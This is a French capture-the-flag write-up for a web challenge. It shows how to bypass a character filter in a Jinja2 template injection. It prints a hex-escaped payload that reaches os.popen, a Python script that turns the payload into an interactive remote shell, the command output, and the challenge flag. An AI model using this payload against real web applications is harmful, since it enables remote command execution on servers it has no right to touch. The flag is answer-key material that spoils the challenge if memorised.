RenderV2

Catégorie: Web Difficulté: - Flag: CTFREI{SST1s_c4n_g3t_qu1t3_h4rd_1f_n0t_bugg3d_:p}

Challenge

Description


Bon mon petit site web s'est fait poutrer je crois...

Par contre maintenant j'ai mis beaucoup de filtres, normalement ça va être dur de récupérer le flag qui est dans flag.txt ! 😾

http://intro.ctfrei.fr:6005

Solution

Il est recommandé de voir Render pour comprendre le fonctionnement de la vulnérabilité, ici, nous n'allons se concentrer que sur le bypass de la restriction de caractères.

Sur le wiki dont nous avons parlé dans la partie 1, un payload existe déjà pour éviter tous ces caractères, il suffit de l'adapter, ce qui donne :

{{ request | attr('application') | attr('\x5f\x5fglobals\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f') | attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os') | attr('popen')('<encoded_command>') | attr('read')() }}

Ensuite, il faut encoder notre commande en hexa pour éviter le filtre de caractère. On peut créer un script python pour automatiser tout ça :

import requests

URL = "http://intro.ctfrei.fr:6005"

def execute(command: str) -> str:
  encoded_command = ''.join([f'\\x{ord(c):0>2x}' for c in command])
  payload = "{{ request | attr('application') | attr('\\x5f\\x5fglobals\\x5f\\x5f') | attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f') | attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fimport\\x5f\\x5f')('os') | attr('popen')('" + encoded_command + "') | attr('read')() }}"
  response = requests.get(f'{URL}/?name={payload}')
  return response.text.split('<h1>', 1)[1].rsplit('</h1>', 1)[0][3:].strip()

def main():
  while True:
    print(execute(input('$ ')))

if __name__ == '__main__':
  main()
python renderv2.py

$ whoami
root

$ ls -al
total 24
drwxr-xr-x 1 root root 4096 Oct  6 14:58 .
drwxr-xr-x 1 root root 4096 Sep 29 13:47 ..
drwxr-xr-x 2 root root 4096 Oct  6 14:58 __pycache__
-rw-r--r-- 1 root root  481 Oct  5 16:33 app.py
-rw-r--r-- 1 root root   49 Oct  5 16:35 flag.txt

$ cat flag.txt
CTFREI{SST1s_c4n_g3t_qu1t3_h4rd_1f_n0t_bugg3d_:p}

oui oui, on avait les droits pour modifier flag.txt :)

Dernière mise à jour

Cet article vous a-t-il été utile ?